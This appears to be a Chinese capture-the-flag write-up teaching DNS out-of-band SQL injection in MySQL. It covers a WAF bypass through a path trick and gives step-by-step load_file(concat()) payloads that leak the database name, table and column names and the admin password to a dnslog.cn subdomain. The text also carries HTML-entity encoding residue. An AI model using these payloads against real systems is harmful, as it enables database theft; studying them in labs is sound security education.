17、注入篇DNS注入（MySQL）

DNS注入也称DNS带外注入、DNSLog注入

DNS

​ DNS&＃xff08;Domain Name System&＃xff09;域名系统&＃xff0c;将域名与IP地址相互映射的一个分布式数据库

DNS注入核心是 将盲注变为显错注入

DNS-log

​ DNS服务器的解析记录

注入基础

1、load_file() 读取文件的函数

​ 读取文件并返回文件内容为字符串

​ 要使用此函数文件必须位于主服务器上&＃xff0c;必须指定完整路径的文件&＃xff0c;而且必须有file权限

​ 该文件所有字节可读&＃xff0c;但文件内容必须小于max_allower_packet&＃xff08;限制server接收的数据包大小函数&＃xff0c;默认1MB&＃xff09;

​ 如果该文件不存在或无法读取&＃xff0c;因为前面的条件之一不满足&＃xff0c;函数返回NULL1

​ load_file() 是数据库函数

​ 该功能不是默认开启的&＃xff0c;需要在MySQL配置文件加一句&＃xff1a;secure_file_priv&＃61;

2、UNC路径

​ UNC&＃xff08;Universal Naming Convention&＃xff09;

​ 通用命名规则&＃xff0c;也称通用命名规范、通用命名约定

​ UNC路径&＃xff1a;

• 格式&＃xff1a;\\servername\sharename &＃xff08;servername–服务器名&＃xff1b;sharename共享资源的名称&＃xff09;

• 目录或文件的UNC名称可以包括共享名称下的目录路径&＃xff0c;格式为&＃xff1a;\\servername\sharename\directory\filename

• unc共享就是指网络硬盘的共享

• UNC路径也可以这样写&＃xff1a;

  //servername/sharename [ 建议这样写 ]

DNS-LOG平台&＃xff1a;http://www.dnslog.cn/ 可以记录 是否有人访问了该域名&＃xff0c;并且记录域名是什么

3、concat() 字符串连接函数

DNS注入缺陷

1. 目标必须有网络
2. Windows机器较为常见

注意&＃xff1a;

• index.php/1.txt?id&＃61;1
• 当1.txt不存在时&＃xff0c;就会检测上一级 文件是否存在
• 如果上一级文件存在&＃xff0c;就会把id&＃61;1传参给index.php

1、进入靶场&＃xff0c;看到源码&＃xff0c;可以使用id进行传值

2、使用?id&＃61;1 and 1&＃61;1 有WAF

3、使用/1.txt?id&＃61;1 进行绕过 并分别输入 and 1&＃61;1 和 and 1&＃61;2 进行探测
绕WAF&＃xff1a;
1、绕规则
2、绕检测
3、白名单

and 1&＃61;1

and 1&＃61;2

4、使用DNS注入&＃xff0c;用load_file()函数构造payload 爆出数据名名&＃xff1a;

http://xxx/index3.php/1.txt?id&＃61;1 and (select load_file(concat(‘//‘,database(),’.h3uk2s.dnslog.cn/abc’)))


5、构造payload 爆出当前数据库下的表名&＃xff1a;

爆出第一个表名 admin

http://xxxx/index3.php/1.txt?id&＃61;1 and (select load_file(concat(‘//‘,(select table_name from
information_schema.tables where table_schema&＃61;database() limit 0,1),’.h3uk2s.dnslog.cn/abc’)))


注意&＃xff1a;.h3uk2s.dnslog.cn/abc 中的abc存不存在 不重要

爆出第二条表名 news

爆出第三条表名时 无反应

故判断 只有两张表 admin news

6、构造payload爆出admin表下的字段名
爆出第一个字段名id

http://xxxx/index3.php/1.txt?id&＃61;1 and (select load_file(concat(‘//‘,
(select column_name from information_schema.columns where table_schema&＃61;database() and table_name&＃61;’admin’
limit 0,1),’.h3uk2s.dnslog.cn/abc’)))


爆出第二个字段名 limit 1,1 username

爆出第三个字段名limit 2,1 password

爆出第四个字段名时 limit 3,1 无反应
故判断 admin表下总共3个字段 id、username、password

7、flag可能在password字段中&＃xff0c;所以构造payload 爆出password字段中的信息
爆出第一条信息

http://xxxx/index3.php/1.txt?id&＃61;1 and (select load_file(concat(‘//‘,
(select password from admin limit 0,1),’.h3uk2s.dnslog.cn/abc’)))


使用limit 1,1 没有反应

故判断只有一条信息
8、得到flag&＃xff0c;通关